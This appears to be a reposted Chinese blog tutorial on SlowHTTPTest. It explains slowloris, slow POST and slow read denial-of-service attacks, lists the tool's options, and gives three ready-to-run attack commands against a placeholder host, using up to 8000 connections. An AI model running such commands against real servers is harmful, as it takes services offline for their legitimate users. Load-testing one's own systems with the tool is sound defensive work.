• 哈哈哈哈


    SlowHTTPTest:很好用。

    Slowhttptest是依赖HTTP协议的慢速攻击DoS攻击工具,设计的基本原理是服务器在请求完全接收后才会进行处理,如果客户端的发送速度缓慢或者发送不完整,服务端为其保留连接资源池占用,大量此类请求并发将导致DoS。

    攻击分为以下三种模式:

    slowloris:完整的http请求是以 结尾,攻击时仅发送 ,少发送一个 ,服务器认为请求还未发完,就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。
    slow http post:原理和slowloris有点类似,这次是通过声明一个较大的content-length后,body缓慢发送,导致服务器一直等待
    slow read attack:向服务器发送一个正常合法的read请求,请求一个很大的文件,但认为的把TCP滑动窗口设置得很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。这里有两点要注意:

    1. tcp窗口设置要比服务器的socket缓存小,这样发送才慢。
    2. 请求的文件要比服务器的socket缓存大,使得服务器无法一下子将文件放到缓存,然后去处理其他事情,而是必须不停的将文件切割成窗口大小,再放入缓存。同时攻击端一直说自己收不到。

    在kali linux安装SlowHTTPTest

    # apt-get install slowhttptest
    1.  
      -g 在测试完成后,以时间戳为名生成一个CVS和HTML文件的统计数据
    2.  
      -H SlowLoris模式
    3.  
      -B Slow POST模式
    4.  
      -R Range Header模式
    5.  
      -X Slow Read模式
    6.  
      -c number of connections 测试时建立的连接数
    7.  
      -d HTTP proxy host:port 为所有连接指定代理
    8.  
      -e HTTP proxy host:port 为探测连接指定代理
    9.  
      -i seconds 在slowrois和Slow POST模式中,指定发送数据间的间隔。
    10.  
      -l seconds 测试维持时间
    11.  
      -n seconds 在Slow Read模式下,指定每次操作的时间间隔。
    12.  
      -o file name 使用-g参数时,可以使用此参数指定输出文件名
    13.  
      -p seconds 指定等待时间来确认DoS攻击已经成功
    14.  
      -r connections per second 每秒连接个数
    15.  
      -s bytes 声明Content-Length header的值
    16.  
      -t HTTP verb 在请求时使用什么操作,默认GET
    17.  
      -u URL 指定目标url
    18.  
      -v level 日志等级(详细度)
    19.  
      -w bytes slow read模式中指定tcp窗口范围下限
    20.  
      -x bytes 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
    21.  
      -y bytes slow read模式中指定tcp窗口范围上限
    22.  
      -z bytes 在每次的read()中,从buffer中读取数据量

    slowloris模式:

     slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://host.example.com/index.html -x 24 -p 3

    slow post模式:

     $ slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://host.example.com/loginform.html -x 10 -p 3

    slow read模式:

     $ slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://host.example.com/resources/index.html -p 3

    # https://blog.csdn.net/jackcily/article/details/85273217?utm_medium=distribute.wap_relevant.none-task-blog-2~default~baidujs_title~default-5.wap_blog_relevant_pic

  • 相关阅读:
    SQL的四种连接-左外连接、右外连接、内连接、全连接
    查看Linux下端口占用情况的命令
    linux的命令(1)
    xsheell的下载安装初级使用
    日交易,根据权重分配流量的算法,根据权重和交易笔数
    根据权重挑选通道的简单算法
    Java中的String与常量池
    JAVA虚拟机内存分配与回收机制
    JVM 内部运行线程介绍
    AspectJ切入点语法详解
  • 原文地址:https://www.cnblogs.com/boundless-sky/p/15351274.html
Copyright © 2020-2023  润新知